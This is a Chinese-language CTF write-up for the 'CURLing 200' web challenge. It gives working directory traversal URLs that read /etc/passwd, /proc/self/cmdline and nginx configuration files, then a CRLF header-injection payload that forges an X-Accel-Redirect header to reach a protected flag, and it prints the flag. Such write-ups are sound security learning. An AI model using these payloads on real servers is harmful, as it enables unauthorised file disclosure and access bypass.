最近剛好玩了一下 Olympic CTF ,解了一些題目,其中有幾題讓自己印象深刻,還滿有趣的所以來記錄一下 XD (400 分的可以參考另外一篇 CURLing 400)
首先是 CURLing 200 分~ 打開是一個新聞系統的頁面
其中選取新聞的參數似乎是去讀取檔案,並且存在 Directory Traversal 漏洞,可以透過 ../
來偽造路徑
(還記得 遠通 嗎 XDD)
http://109.233.61.11:27280/news/?f=./31-12-2013
漏洞判斷方式是把原本的參數加上 ./ 會顯示與原本的頁面一樣,所以可以利用 ../ 去讀取伺服器上的檔案(知道路徑以及權限足夠),如
http://109.233.61.11:27280/news/?f=../../../../etc/passwd
也可以讀取 /proc/self/cmdline
來得知當前運行什麼程序
http://109.233.61.11:27280/news/?f=../../../../proc/self/cmdline
可以知道這個新聞系統是用 Pyhton + Django + Gunicorn 所架設的
翻了一下似乎都找不到什麼有用的資訊,所以來看看 Nginx 還有藏什麼網頁服務在? 猜一下 Nginx.conf
的預設位置
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/nginx.conf
看不到什麼有用的資訊,不過沒關係我們在繼續猜
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/sites-enabled/default
Got it. 看到了 /secret/flag
的 URL pattern 似乎可以得到目標 flag
但是直接 Access 會出現 404 Not Found T______T
仔細再看一下 /etc/nginx/sites-enabled/default 檔案,會發現有 internal 以及 root 的字樣,查一下 官方 manual 會發現這是 Nginx 的功能之一可以用來保護檔案。
至於存取的方法是 Nginx 判斷 server 是否有送出 X-Accel-Redirect 的 header,如果有才允許使用者存取檔案,但是這個 header 是 server 端控制,所以使用者無法偽造。
在這邊卡了一下子,不過再仔細觀察整個新聞系統發現網頁其實存在另外一個漏洞,在瀏覽新聞的時候下方回首頁的連結是透過一個參數 retpath 控制的
伺服器端實現的原理是把 retpath 的值放進 Location header 裡隨著 server 一起送回來,如送出
http://109.233.61.11:27280/?retpath=foooo
則 server 吐回的則是 Location: foooo
所以在這個情況下,存在 HTTP Response Splitting 弱點,不過我們可以不用偽造整個 request 只要偽造一個 header 就好了例如
http://109.233.61.11:27280/?retpath=foo%0d%0afake_header:fake_value
則可以成功偽造一個 fake_header 的 header
所以如果沒有搭配上面的 ../
找出 Nginx 設定檔案,可能只會把這個當成一個沒有大危害的弱點 (只能針對 Client Side 攻擊),不過當配合上面 Nginx internal 的設定以及這個漏洞,組合技的效果就出來了,這也是我覺得這次題目出得不錯的原因之一XD
送出
http://109.233.61.11:27280/?retpath=foo%0d%0aX-Accel-Redirect:/secret/flag
就可以得到 flag 惹!
CTF{6e75d02b8e8329bb4b45c7dabd2e1da2}